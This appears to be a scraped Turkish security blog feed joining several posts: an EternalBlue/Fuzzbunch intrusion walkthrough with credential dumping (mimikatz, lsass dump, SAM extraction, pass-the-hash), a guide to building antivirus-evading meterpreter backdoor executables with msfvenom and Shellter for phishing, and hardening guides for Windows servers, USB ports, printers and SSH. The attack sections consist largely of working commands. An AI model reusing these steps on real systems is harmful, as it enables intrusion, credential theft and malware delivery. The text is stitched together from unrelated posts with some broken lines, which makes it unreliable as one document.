Herkese Merhaba, Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti Metasploit güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında metasploit popüler bir çatı olduğu […]
TR | Yerel Ağ Sızma Testi Senaryosunda Kullanılabilecek Araç ve Yöntemler Ahmet Gürel
]]>Herkese Merhaba,
Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti Metasploit güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında metasploit popüler bir çatı olduğu için güvenlik ürünleri tarafında yakalanıp engellenebilmektedir. Bu MS17-010 zafiyetinde geçerli olduğu gibi bir çok zafiyetin metasploit ile sömürülmeye çalışıldığında kurumlarda başarılı olunmamakta ve otomatik yerine el ile sömürme işlemi gerçekleştirilmektedir. Yine aynı şekilde metasploit modülü olan PsExec ile hash’ı alınan bir makinaya bağlanabiliyoruz fakat güvenlik ürünleri bu bağlantılarıda tanıyıp kesebiliyor. Yazının devamında bu yöntemlere ve alternatiflerine değinmeye çalışacağım.
İlk olarak en basitten başlayarak hedef makina/ip üzerinden zafiyeti tespit edip metasploit ile sızmaya çalışalım.
Nmap Script Engine (NSE) ile MS17-010 zafiyetinin olup olmadığını test ediyoruz. Resimde görüldüğü gibi VULNERABLE olarak çıktı vermekte. Bu makinada MS17-010 zafiyeti bulunmakta. NSE harici Metasploit ile use auxiliary/scanner/smb/smb_ms17_010 diyerekde zafiyetin olup olmadığını test edebilirsiniz.
Artık metasploit’i açarak use exploit/windows/smb/ms17_010_eternalblue diyerek MS17-010 zafiyetini metasploit ile sömürebiliriz.
Burada gördüğünüz gibi Exploit target kısmında sadece x64 desteklenmektedir. Burada Payload olarak windows/x64/meterpreter/reverse_tcp payloadu kullanılmıştır. windows/x64/meterpreter/bind_tcp payloadıda farklı senaryolarda işinize görecektir.
Meterpreter komut satırına düştük buradan sonra meterpreter’in gelişmiş yeteneklerini kullanabilirsiniz ya da shell diyerek windows cmd satırına düşebilirsiniz. Windows tarafındaki en yetkili kulanıcı hakları olan NT AUTHORITY\SYSTEM yetkileri ile sisteme giriş yapıldığından dolayı bellekten hash ve parola çıkarma işlemleri yapılabilir.
Yukarıdaki resimlerde görüldüğü gibi meterpreter üzerinde hashdump ve mimikatz kullanılarak kullanıcı hash ve parolalarını elde edebildik. incoginito aracı ile kullanıcı tokenları arasında değiştirebildik.
Meterpreter ile sisteme sızmış olmasaydık cmd üzerinden yine procdump.exe aracını hedef makinaya indirerek cmd üzerinden procdump ile lsass.exe dumpını alarabiliriz.
C:\procdump.exe -accepteula -ma lsass.exe dump.dmp
Oluşturduğumuz lsaass.exe’nin dump.dmp dosyasını kendi makinamıza indirerek kendi makınamızda mimikatz ile aşağıdaki komutlar ile inceleyebiliriz.
mimikatz.exe
privilege::debug
sekurlsa::minidump dump.dmp
sekurlsa::logonPasswords
Ayrıca windows üzerinden sam ve system dosyalarını çıkartıp birleştirerek kullanıcı hashlerini elde edebiliriz. samdump2 aracı Kali Linux’ta yüklü olarak gelmektedir.
reg save hklm\sam c:\sam
reg save hklm\system c:\system
samdump2 system sam
Bu şekilde meterpreter dışındada windows makinalar üzerinde hash ve parolaları manuel olarak elde edebiliriz.
CrackMapExec ile elde edilen hash ve parolalar subnet ve domaindeki tüm makinalarda bu parola veya hash Local Admin hakları ile çalışıyorsa yukarıdaki resimdeki gibi Pwn3d! yazmaktadır. Bu aşamadan sonra isterseniz CME (Crack Map Exec) ile makinalardaki tokenları toplayabilir ya da bu makinalara bu hash ya da parolalar ile PsExec,SMBExec ya da WCE ile giriş yapılıp manuel olarak bu işlemleri gerçekleştirilebilir.
Metasploit’i açtıktan sonra use exploit/windows/smb/psexec diyerek metasploit ile giriş yapabilmekteyiz. Fakat başta söylediğim gibi bazı durumlarda güvenlik ürünleri tarafından tespit edilip kesilmektedir. Bunun için PsExec’e alternatif olarak Python’ın impacket modülünde bulunan smbexec.py işimizi görmektedir.
Windows bir makinadan hash ile hedef makinaya bağlanmak için Windows Credentiol Editor (WCE) ile bağlanılabilir.
wce.exe -l
wce.exe -g testlerdeyim
wce.exe -s <Kullanıcıadı>:<Domain/yadamakinaipsi>:<LM Hash>:<NTLM Hash>
net use ipADMIN$
PsExec.exe IPADRESİ -s cmd
Buraya kadar MS17-010 zafiyeti ile sisteme sızılıp daha sonra kurum içindeki yada Domainde ki diğer makinalarda aynı hashlerin tespiti bu makinalara hash ya da parola ile bağlanıp o makinalarda ki hash ve parolaları manuel ve otomatik şekilde elde etmeyi inceledik. Domainde bulunan her makina üzerinden hash,parola ve tokenlar toplandıkça bunların içinde Domain Admin yetkileri ile çalışan kullanıcı parola,token ve hash’ine rastlamanız olası. Bu yetkide kullanıcılara ulaşabilirseniz DC makinalarıda artık elinizde demektedir. MS17-010 zafiyeti metasploit modülü x86 versiyonundan kaynaklı ya da güvenlik ürünlerinin engellemesinden kaynaklı kesilebilirdi. Bu durumda fuzzbunch ile önüne geçebiliriz. x86 ve x64 işletim sistemi mimarilerinde çalışıp aynı zamanda bir çok güvenlik ürününe takılmadan başarı ile çalışmaktadır. Fuzzbunch’i çalıştırmak için hedef dışında Windows XP bir makina ve atak yapılacak,DLL oluşturulacak ve bağlantının dinleneceği bir makina (Örn: Kali Linux) daha kullanılmaktaydı. Bu süreci kolaylaştırmak için wine yazılımı ile Kali Linux üzerine Fuzzbunch kurulum imkanı sağlayan Kali/fuzzbunch-debian yazılımı linkteki sayfadaki yönergeler ile kurabilirsiniz.
Fuzzbunch-Debian Kurulum Komutları:
1- apt update
2- apt install wine winbind winetricks
3- dpkg –add-architecture i386 && apt-get update && apt-get install wine32
4- WINEPREFIX=”$HOME/.wine-fuzzbunch” WINEARCH=win32 wine wineboot
5- export WINEPREFIX=$HOME/.wine-fuzzbunch
6- wine regedit.exe
7- regedit açıldıktan sonra sağa tıklayıp Add String Value diyerek Type kısmına String Name kısmına PATH Value kısmına c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch değerlerini girerek çıkıyoruz.
8- cd $HOME/.wine-fuzzbunch/drive_c
9- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
10- winetricks python26
11- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
12- wine cmd.exe
13- python fb.py
Kali/fuzzbunch-debian kurarak Windows XP bağımlılığından kurtularak tek bir saldırgan makina ile atağı gerçekleştirebiliriz.
python fb.py ile fuzzbunch açıldığında yukarıda ki resimdeki ekran gelmektedir. 0 New project diyip isim verip Target (Sızılacak Hedef IP) ve Callback (Bağlantı gelecek bizim IP) değişkenlerini girerek enter tuşu ile değişkenlerin varsayılan değerlerini onaylayarak ilerliyoruz.
use Eternalblue diyerek MS17-010 Eternalblue exploitini kullanacağız.
Resimlerde ki parametreler girilip execute dediğimizde Eternalblue başarılı bir şekilde çalışmaktadır.
Eternalblue başarılı bir şekilde hedefte çalıştıkdan sonra use Doublepulsar diyerek exploiti tamamlayacağız.
Bu resimde görüldüğü gibi işletim sisteminin mimarisini sormakta. Metasploit modülünde sadece x64 seçeneği mevcut.
Bizim hedef makinamız x64 olduğu için 1 diyerek devam ediyoruz. Function kısmında exploitin çalışıp çalışmadığını denemek için 1 seçerek Ping komutu çalıştırıyoruz.
Ve komutumuz başarılı bir şekilde çalıştı. Artık 2 numaralı Run DLL Function’ı çalıştırıp kendimize DLL üretip onu hedef sistemde çalıştırarak shell alabiliriz.
MSFVenom ile x64 bir DLL üreterek bunu fuzzbunch’in kurulu olduğu dizine taşıyoruz.
Yukarıda ki resimde görüldüğü gibi set Function RunDLL diyerek functionımızı seçiyoruz. DLLOrdinal ve DLLPayload değişkenlerini girdikten sonra execute ile Doublepulsar’ı çalıştırıyoruz.
Başarılı bir şekilde çalıştı.
Doublepulsar’ı çalıştırmadan önce DLL’i oluştururken kullandığımız IP adresli makinada multi/handler modülü ile IP ve port numarasını dinlemeye başlıyoruz. Doublepulsar başarılı bir şekilde çalıştığında hedef makinadan shell gelmektedir.
Fuzzbunch ile DLL injecte ederken bunu MSFVenom yerine Empire ile DLL oluşturup onu Doublepulsar ile hedefte çalıştırarak gelen shell bağlantısını agent olarak Empire üzerinden kullanabilirsiniz.
Resimlerde görüldüğü gibi Empire ile DLL oluşturulup fuzzbunch dizinine taşınıp Doublepulsar DLLPath değişkenine bu DLL verilip çalıştırıldığında Empire agent’ı başarılı bir şekilde oluşmaktadır. Agent oluştukdan sonra Empire ile post exploitation yapabilirsiniz. Empire kurulum ve kullanımı adlı yazıma buradan ulaşabilirsiniz.
Bir başka yazıda görüşmek üzere.
TR | Yerel Ağ Sızma Testi Senaryosunda Kullanılabilecek Araç ve Yöntemler Ahmet Gürel
]]>Dosya ve Yazıcı sistemlerini güvende tutmak için basit önlemler; Sunucularınızı fiziki olarak güvende tutun. NTFS dosya sistemini bütün sürücülerinizde kullanın . Sisteminizi güncel tutun İşinize yaramayan servisleri ve uygulamaları sistemden kaldırın. Kullanıcılar sadece dosyalara erişimini ve yazdırma sistemini kullanmalarına yetecek izinler verilmelidir. Password Policy security kullanarak kullanıcıların güçlü şifreler seçmelerini zorunlu kılın. Administrator ve Guest […]
TR | Windows Sunucu Güvenliği ile İlgili Öneriler CypmUni İYTE
]]>
Windows + R kombinasyonuna services.msc yazarak erişebilirsiniz.
Services.msc penceresinde aşağıdaki bölümden kullanıcıların kullanacağı şifrelerin güvenliğini arttırabilirsiniz.
Enforce password history : kullanıcıların şifre değiştirecekleri zaman seçecekleri şifrenin önceki şifrelerle aynı olmamasını sağlamak için kullanılır. Windows Server 2008de her kullanıcı için önceki 24 şifresi hatırlatılabilir.
Maximum password age : Bir şifre atandıktan sonra belirlenen gün sonrası şifrenin tekrar değiştirilmesi istenir.
Minimum password age : Atanan şifrenin tekrar değiştirilmesi için gereken minimum süre. Kullanıcıların sürekli şifre değiştirerek eski şifresini tekrar atamasını engellemek için kullanınız.
Password must meet complexity requirements: Aktifleştirildiğinde şifrelerin karşılaması gereken özellikler şu şekilde değiştirilir;
Varsayılan izinler aşağıda gösterilmiştir.
Dosya izinlerini düzenlemek için;
DESX algoritmasını daha güvenli olan 3DES algoritmasıyla değiştirin. Regedit penceresinden ilerleyin.
TR | Windows Sunucu Güvenliği ile İlgili Öneriler CypmUni İYTE
]]>Fiziksel Güvenlik Nedir? Sistem güvenliğinde pek de önemsenmeyen fiziksel güvenlik çok küçük ve kolay hatalarla bütün uğraşlarımızın boşuna gitmesine neden olabilir. Çok kolay bir şekilde istismar edilebilecek zafiyetlere sahiptir ve kolay önlemleri vardır.şimdi sırayla bunları inceleyelim. Bilgisayar/Sunucu Fiziksel Güvenliği: Fiziksel güvenlik denince ilk olarak makinenin güvenilir bir ortamda saklanması gerekir. Ortamı güvenilirhale getirmek için güçlü […]
]]>Sistem güvenliğinde pek de önemsenmeyen fiziksel güvenlik çok küçük ve kolay hatalarla bütün uğraşlarımızın boşuna gitmesine neden olabilir. Çok kolay bir şekilde istismar edilebilecek zafiyetlere sahiptir ve kolay önlemleri vardır.şimdi sırayla bunları inceleyelim.
Fiziksel güvenlik denince ilk olarak makinenin güvenilir bir ortamda saklanması gerekir. Ortamı güvenilirhale getirmek için güçlü kilit sıstemleri ve sağlam malzemeler kullanılabilir. Bu odalara giriş parolalı sistemlerle olmalıdır ve üst üste hatalı parola girişinde sistem kendiliğinden kilitlenmelidir. Ayrıca bilgisayar(sunucu) kesinlikle dışarıdan DC/DVD/USB girişlerine kapalı olmalıdır. Ve aynı şekilde mouse klavye takılı halde bırakılmamalıdır.
Basıc Input Output System olarak tercüme edilen bilgisayarın çalışması için gereken temel yapıdır. BIOS yazılımı rom üzerine yazılmasından dolayı anakrt özelliklerini kullanabilr ve diğer donanımlarla
bağ kurabilir. Böylelikle makine başlangicinda donanımlar da kontrol eder.çoğu sistemde BIOS kendiliğinden parola ekli bir şekilde gelir fakat kolay işlemlerle bu parola kaldırılabilir. Bıos işlemini tamamladıktan sonra bootloadera geçiş yapılır farklı işletim sistemleri için farklı bootloaderlar vardır. Windows bootloader windowsun kullandiği bootloaderdır. Fakat bunun yerine grub da kullananbiliriz.
Windows 8 ile birlikte gelmeye başlayan bu yeni özellik bilgisayarımızı sadece yetkilendirilen işletim sistemlerinin başlatabilmesini sağlıyor. Normalde güç tuşuna bastıktan sonra BIOS devreye girer ve donanımı kontrol eder.eğer herhengi bir sorun yoksa bootloaderı devreye sokar. Secure boot işte tam olarak bu aşamada devreye giriyor. BIOS görevini bootloadera devrederken secure boot deverye giriyor ve bootloaderın ona verilen veri tabanında olup olmadığına bakıyor. Eğer bu işletim sistemi secure bootun veri tabanındaysa sıkıntısız bir şekilde bootloader devreye giriyor ve işlemler devam ediyor.
Işte kimi sıkıntılar da tam burada çıkıyor. Ya bizim çalıştırmak istediğimiz işletim sistemi bu veri tabanında yoksa ? Öncelikle secure boot özellliğini kullanmak zorunda değiliz. Devre dışı bırakılabilen bir özelliktir. Ayrıca güncel UEFI BIOS larda istenilen işletim sisteminin imzası veritabanına eklenebilecek. Örneğin windows 8 ile birlikte debianı da kullanmak istiyorsak bunları izin verilen işletim sistemleri listesine ekleyebileceğiz , silebileceğiz böylelikle bizim iznimiz dışında hiçbir işletim sistemi çalışmayacak.
Yukarıdan da anlaşılacağı gibi Yetkisiz işletim sistemlerinin önyüklenmesini önlemek ilk akla gelen yararı. Bunun la birlikte rootkit denilen, sisteminizdeki önyükleme yöneticisini değiştiren veya önyükleme yöneticisinin yerine geçen bir takım zararlı yazılımlardır. Sistemem yerleşen bu rootkitler henüz sisteminiz çalışmadan istediği gibi kodlarla oynamalar yaparal sistem ayarlarnızı değiştirebilir,verilerinizi internet bağlantısı yoluyla alabilir ve verilerinizin kaybolmasına neden olabilir. Özetle secure boot özelliği sizin izniniz dahilindeki işletim sistemleri dışında hiçbir şeyin çalışmamasını sağlar, gerektiğinde kapatılabilir veya imzaları değiştirilebilir. Bazı sistemlerde sadece secure boot özelliğini kapatmak yetmeyebilir aynı zamanda fast boot özelliğini de kapatmak gerekebilir.
USB girişi bilgisayarımızın dış dünya ile fiziksel olarak bağlantı kurduğu parçalardan birisidir ve bu nedenle güvenliği son derece önemlidir. Eğer bilgisayarımızın yanında değilsek USB girişlerini kapatmamız gerekir. Ilk olarak başlat menüsündeki arama çubuğuna “regedit” yazarak kayıt defterini açarız.
Açılan defterde LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\RemovableStoragesDevices pathini izleyerek gerekli dosyamıza erişmiş olduk kimi sistemlerde RemovableStoragesDevices dosyası olmayabilir. Windows klasörüne sağ tıklayıp yeni anahtar deriz ardından RemovableStoragesDevices yazarak enter dersek klasörümüz oluşmuş olur.
RemovableStoragesDevices klasörünün içine sağ tıklayarak yeni anahtar oluşturuyoruz ve anahtara {53f56311-b6bf-11d0-94f2-00a0c91efb8b} diyip entera basıyoruz
Ardından dosyaların olduğu yere sağ tıklayıp DWORD (32-bit) değeri seçeneğini seçeriz. Isim olarak Deny_Read kullandık. Deny_Read sağ tıkladık değiştir dedik ve buradaki default 0 değerini 1 yaptık.
Kayıt defterini kapattık ve bilgisayarı yeniden başlatarak usb bellek okumasını kapatmış oluruz. Eğer oluşturulan DWORD (32-bit) değeri silinirse tekrar eski haline dönerek USB bellek
okumayı açarız.
RemovableStoragesDevices klasörünün içine sağ tıklayarak yeni anahtar oluşturuyoruz ve anahtara {53f56311-b6bf-11d0-94f2-00a0c91efb8b} diyip entera basıyoruz. Ardından dosyaların olduğu yere sağ tıklayıp DWORD (32-bit) değeri seçeneğini seçeriz. Isim olarak Deny_Write kullandık. Deny_Write sağ tıkladık değiştir dedik ve Ve buradaki default 0 değerini 1 yaptık.
Kayıt defterini kapattık ve bilgisayarı yeniden başlatarak usb belleğe yazılmasını engellemiş olduk.Eğer oluşturulan ”DWORD (32-bit) değeri” silinirse tekrar eski haline dönerek USB belleğe
yazmayı açabiliriz.
Bu şekilde bilgisayarımıza gelebilecek fiziksel saldırılardan daha iyi bir şekilde
korunabiliriz. Sistemimizi daha güvenli hale getirebilir saldırılardan bir nebze korunabiliriz.
Baskı Cihazları Güvenliği Ekstra güvenilirlik ve performans artışı için sisteminize print server cluster kurun. (https://technet.microsoft.com/en-us/library/cc771509(v=ws.10).aspx) IPSec protokolünü sunucularınıza kurun. (http://www.it.cornell.edu/services/managed_servers/howto/ipsec.cfm). Print permissionları gözden geçirip ayarlayın. Print permissions çıktı izinlerini belirtir ve print servislerine hak verip, engelleme olanağı sunar. Şimdi ise yazıcı ve fakslara istenilen izinleri nasıl vereceğimizi görelim. yazıcı ve fakslar bölümüne geldikten sonra ekli […]
]]>Şimdi ise yazıcı ve fakslara istenilen izinleri nasıl vereceğimizi görelim.
yazıcı ve fakslar bölümüne geldikten sonra ekli olan yazıcılarımız ekranda çıkacaktır.şuan bizde herhangi bir yazıcı ekli olmadığı için listeyi yeniliyoruz eğer yine yazıcımız bulunamazsa yazıcı adıyla, TCP/IP adresi veya ana bilgisayar adresi ile, veya el ile yazıcımızı ekleyebiliriz.
yazıcımızı CYPMprinter adıyla yazıcılarımıza ekledik.
Yazıcı ve faks klasöründe istenilen yazıcıya sağ tıklayıp yönet diyerek bu ekrana ulaştık
güvenlik penceresinden kullanıcılara aşağıdaki izinleri atayabilirsiniz.
burada önemli olan her kullanıcıya yazdırma hakkı vermemektir. Sadece gerekli kullanıcılara yazdırma hakkı vererek güvenliğimizi sağlamış oluruz.
gelişmiş ayarları seçerek buradaki izinleri düzenleyebiliriz.
]]>
Backdoor (Arka Kapı) Nedir? Backdoor, hedef sistem üzerinde ki güvenlik önlemlerini atlatarak, hedef sistem üzerinde uzaktan erişim hakkı kazanmayı sağlayan zararlı yazılımlardır. Genellikle hedef sistemde, port açarak veya açık olan portları kullanarak saldırganın, hedef sistem üzerinde erişim hakkı kazanması sağlanır. Backdoor hakkında bilgi sahibi olduğumuza göre Phishing saldırılarının vazgeçilmezi olan zararlı yazılımın/dosyanın nasıl oluşturulabileceğini ve […]
TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi CypmUni PAÜ
]]>Backdoor, hedef sistem üzerinde ki güvenlik önlemlerini atlatarak, hedef sistem üzerinde uzaktan erişim hakkı kazanmayı sağlayan zararlı yazılımlardır. Genellikle hedef sistemde, port açarak veya açık olan portları kullanarak saldırganın, hedef sistem üzerinde erişim hakkı kazanması sağlanır. Backdoor hakkında bilgi sahibi olduğumuza göre Phishing saldırılarının vazgeçilmezi olan zararlı yazılımın/dosyanın nasıl oluşturulabileceğini ve bu zararlı dosyanın, antivirüs ve anti-mallware programları tarafından tespitinin nasıl minimuma indirilebileceğini inceleyebiliriz. Bu yazıda örnek olarak exe formatında zararlı çalışıtırılabilir dosya hazırlayacağız. Hazırlayacağımız exe, kullanıcı programı çalıştırdığında bize kullanıcının bilgisayarına erişmemizi sağlayacak bir meterpreter oturumu sağlayacak. Hatırlamakta fayda var ki exe formatının dışında python, asp, aspx, dll, elf gibi bir çok formatta zararlı dosya oluşturma imkanı vardır. msfvenom –help-formats komutu ile geri kalan formatlarıda görüntülemek mümkündür.
Meterpreter, sıklıkla kullanılan bir metasploit payloadudur. Bir arka kapı olarak çalışır. Yüklenen sistemde, sistem bilgileri, hedef sistemden ve hedef sisteme dosya transferi, hedef sistem komut satırına ulaşım gibi imkanlar sağlar. Meterpreter komutlarından bir kaçına aşağıdaki ekran görüntülerinden ulaşabilirsiniz.
Hızlıca bu işlemleri nasıl yapacağımıza geçelim. İlk olarak içinde sadece meterpreter shell olan bir exe oluşturacağız ve bu halini virustotalde ( Virustotal, ücretsiz, küçük boyutlu yazılımlarının antivürüs programlarınca testlerini yaparak sonuçlarını veren bir servis. https://www.virustotal.com ) taratacağız.
İlk olarak msfvenom kullanarak yapacağız. Msfvenom; metasploit framework ile birlikte gelen zararlı kod oluşturmamıza yardımcı olan bir araçtır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli1.exe
-p : Payload
-f : Zararlı dosya formatı
LHOST : Kali IP Adresi (Local IP Adres)
LPORT : Kali Portu. (Zararlının bize ulaşmasını sağlayacak port)
NOT: Her hangi bir linux dağıtımda yada sunucu üzerinde bağlantı sağlanmak istenilen portun açık olduğuna dikkat edilmelidir. Eğer session gelmiyorsa bunun ilk nedenlerinden birisi dinlenilen portun açık olmama ihtimalidir.
Uygulamayı virustotal de taratarak sonuçlarına bakalım.
Görüldüğü gibi neredeyse bütün antivirüs programları tarafından yakalandık. Bu sefer oluşturacağımız zararlıyı encode ederek antivirüslerden kaçmaya çalışacağız.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli2.exe -k -e x86/shikata_ga_nai -i 10
-e parametresiyle hangi encoderi kullanmasını istediğimiz söylüyoruz ve -i parametresiyle kaç kez encode edileceğini belirtiyoruz.
Yine çıkan exe yi taratarak sonuçlara bakıyoruz.
Yakalandığımız antivirüs programı sayısında bir azalma var ama istediğimiz kadar değil.
Birde bind etme işlemini deneyelim. Bind etmek, hali hazırda var olan bir exe nin içine zararlı kodumuzu yerleştirme olayına denir.
Bunun için iki ayrı yöntem deneyeceğim. Birincisi yukarıdaki örneklerde kullandığımız msfvenom, bir diğeri ise Shellter isimli uygulama.
Msfvenom ile devam edelim. Öncelikle normal bir exe dosyasına ihtiyacımız var, ben tercihen kali linuxta /usr/share/windows-binaries/ içerisinde bulunan plink.exe isimli exe yi kullanacağım. Siz herhangi başka bir uygulamada seçebilirsiniz. Burada seçtiğimiz uygulama bizim için sadece aracı olacak ve biz uygulamanın yanına zararlı kodumuzu koyarak yeni bir exe dosyası oluşturacağız.
Plink.exe isimli dosyanın bir kopyasını masaüstüne setup.exe olarak kaydediyorum. Virustotal.com sitesinden uygulamayı taratıyoruz.
Sonuç olarak herhangi bir antivirüs programının içerisinde virüs bulduğu gözüküyor. Artık ilk halini biliyoruz. Şimdi sıra plink.exe uygulamasının içerisine zararlı kodumuzu yerleştirmeye geldi.
msfvenom -a x86 --platform windows -x setup.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o zararli3.exe -k -e x86/shikata_ga_nai -i 10
İnternetten indirdiğimiz setup.exe isimli uygulamanın yanına meterpreter shell bind ederek zararli3.exe olarak oluşturduk.
Yakalandığımız antivürs sayısı biraz daha azalmış gözüküyor. Daha farklı encoderlar ve faklı encoderlardan sırayla exe yı geçirerek sayıyı biraz daha azaltmamız mümkün.
Şimdi Shellter adlı uygulama ile bu işlemi deneyeceğiz. Shellter, exe dosyalarının içerisine payload yerleştirebilmemizi sağlayan ücretsiz bir araçtır.
Shellter uygulaması kali de kurulu gelmiyor. Kurmak için :
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 && apt-get install shellter
komutunu yazmamız yeterli olacaktır. Kurulum tamamlandıktan sonra terminale shellter yazarak programı çalıştırabiliriz.
Karşımıza yukarıdaki gibi bir ekran gelecektir. Choose Operation Mode sorusuna A( auto ) cevabını vererek devam ediyoruz.
PE Target sorduğunda temiz halde bulunan exe dosyasının adresini veriyoruz. Shellter bizim için işlemleri otomatik olarak yapacaktır.
Bize hangi payloadı kullanmak istediğimizi soruyor burada 1. seçeneği seçiyorum. Seçerken önce Local payload kullanacağımızı belirtmek için L yazıyoruz ardından 1 yazarak devam ediyoruz.
Daha sonra bizden LHOST ve LPORT girmemizi istiyor buralara kendi ip adresimiz ve kullanmak istediğimiz portu yazıyoruz.
Daha sonra shellter geri kalan işlemleri bizim için hallediyor. Son olarak entera basmamızı istiyor ve zararlı uygulamamız hazır.
setup.exe artık içerisinde zararlı kodlarda barındıran bir uygulama. Karışıklık olmaması için ismini zararli4.exe olarak değiştiriyorum ve ardından hemen virustotalde tarama işlemini başlatıyorum.
Sonucun oldukça tatmin edici olduğunu düşünüyorum. Popüler antivirüslerin hepsinden kaçmayı başardık. İlk haline göre sadece bir tane antivirüs programına yakalandık.
Oldukça başarılı sonuçlanan son uygulamadan sonra bu exe yi nasıl kullanacağımıza sıra geldi. Burada Metasploit Framework’ü kullanacağız. Terminalden msfconsole komutu ile Metasploit Framework’ü çalıştırabiliriz.
use exploit/multi/handler
komutu ile exploitimizi kullanmak için çağırıyoruz.
Daha sonra set PAYLOAD windows/meterpreter/reverse_tcp komutunu yazarak meterpreter payloadını exploite dahil ediyoruz.
show options komutuyla exploite vermemiz gereken bilgileri görüyoruz. Burada ip adresimizi ve exeyi oluştururken verdiğimiz port adresimizi yazacağız.
set LHOST 192.168.56.101
set LPORT 443
Daha sonra exploit diyerek programdan gelecek istekleri dinlemeye başlayacağız.
Dinlemeye başarılı bir şekilde başladık. Artık hedef kişinin programı çalıştırmasını bekliyoruz. Çalıştırdığı anda buraya bilgileri gelecek ve o bilgisayarda erişim sahibi olacağız.
Windows bilgisayardan (hedef), bizim oluşturduğumuz exe çalıştığı anda meterpreter oturumuna sahip oluyoruz.
Yazının başında paylaştığım görsellerdeki meterpreter komutlarını artık hedef sistem zerinde çalıştırabiliriz. Hatta hedefin kullandığı işletim sisteminin hak yükseltme exploitini kullanarak tüm yetkilere sahip olan bir kullanıcı kaydedebilir, istediğimiz zaman o sisteme bağlanabiliriz.
Sonuna kadar okuduğunuz için teşekkür ederiz. Paü siber ..
TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi CypmUni PAÜ
]]>SSH Nedir SSH (Secure Shell) güvenli veri iletimi için kriptografik ağ protokolüdür. SSH bağlantısı bilgisayar-bilgisayar, bilgisayar-sunucu, sunucu-sunucu arasında yapılabilir. SSH uzak kabuk üzerinde yetkili bir metin tabanlı arayüz sağlar. SSH bağlantısı kurulduktan sonra, yerel terminal yazdığınız tüm komutlar şifreli SSH tüneli aracılığıyla uzak sunucuya gönderir ve terminal komutlarınız orada yürütülür. SSH istemci-sunucu modelini kullanır. Standart […]
]]>SSH Nedir
SSH (Secure Shell) güvenli veri iletimi için kriptografik ağ protokolüdür. SSH bağlantısı bilgisayar-bilgisayar, bilgisayar-sunucu, sunucu-sunucu arasında yapılabilir. SSH uzak kabuk üzerinde yetkili bir metin tabanlı arayüz sağlar. SSH bağlantısı kurulduktan sonra, yerel terminal yazdığınız tüm komutlar şifreli SSH tüneli aracılığıyla uzak sunucuya gönderir ve terminal komutlarınız orada yürütülür. SSH istemci-sunucu modelini kullanır. Standart TCP portu olan 22 SSH bağlantısı için atanmıştır.
Bu kılavuzda, SSH sıkılaştırması için en iyi olan bazı temel güvenlik uygulamaları hakkında örnekler yer alacaktır.
SSH Bağlantısı Nasıl Kurulur?
Temelde iki bağlanma yöntemi mevcuttur. Bunlardan birincisi kullanıcı adı ve şifre ile oturum sağlandığı yöntemdir, ikincisi ise SSH key ( SSH açık / gizli anahtar ) yardımı ile oturumun sağlandığı yöntemdir. Şifre oturumları yeni kullanıcılar için anlaşılması kolaydır. Ancak, otomatik botlar ve kötü niyetli kullanıcılar genellikle art arda şifre denemeleri ile güvenlik tavizlerine yol açabilir. Bu yöntem yerine SSH anahtarı yardımı ile oturum sağlanmasını öneriyoruz. Bu yöntemde özel ve genel anahtar çifti kimlik doğrulama öncesinde oluşturulur. Ortak anahtar herkes ile paylaşılabilirken, özel anahtar kullanıcı tarafından güvende tutulmalıdır.
Bu bağlantı yöntemleri dışında SSH versiyonuna göre oturum sağlamak için kullanılabilecek birkaç yöntem daha bulunmaktadır.
( Solda SSH v2, sağda ise SSH v1’i görmektesiniz. )
SSH Sıkılaştırması Yöntemlerinden Bazıları
SSH Sıkılaştırması Uygulaması
Öncelikle elimizdeki sunucuya veya ev bilgisayarına SSH bağlantımızı açalım.
Örnek komut:
ssh [email protected]
SSH oturumundayız, klavuzda Ubuntu 14.04.5 LTS kullanacağım, komular işletim sistemine göre farklılık gösterebilir. Sistemde cagatay adlı bir kullanıcı olduğunu varsayıyoruz. Kullandığınız sistemde kendi isteğiniz doğrultusunda ismini yazabilirsiniz.
sudo apt-get install openssh-server
Terminalden:
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.factory-defaults sudo chmod a-w /etc/ssh/sshd_config.factory-defaults
Terminalden:
sudo vi /etc/ssh/sshd_config
Ayarlarımıza sırasıyla standart portu değiştirerek başlıyoruz:
Yorum satırı halinde olan ( ‘#’ yorum satırı anlamına gelmektedir ) PasswordAuthentication yes satırını yorum’dan çıkartıp yes olan parametreyi no yapıyoruz.
PermitRootLogin’i no olarak değiştirerek yapabilirsiniz.
Yeni bir terminal sayfasında: ( SSH oturumunu kapatmayınız )
ssh-keygen -t rsa -b 4096
Yukarıdaki komut kendi bilgisayarınızda açık ve gizli olmak üzere iki anahtar üretecektir. Açık anahtarı şu şekilde bulabilirsiniz:
cat ~/.ssh/id_rsa.pub
Yukarıdaki anahtarı görüntülediğimiz terminal’den sunucuda SSH oturumumuz olan terminal’e geçiyoruz, aşağıdaki ayarlamayı yapıyoruz.
AuthorizedKeysFile satırını yorum satırı durumundan çıkartıyoruz.
Kendi açık anahtarımızı SSH dizinindeki authorized_keys’e ekliyoruz.
Terminalden: ( Sunucuda )
sudo vi ~/.ssh/authorized_keys
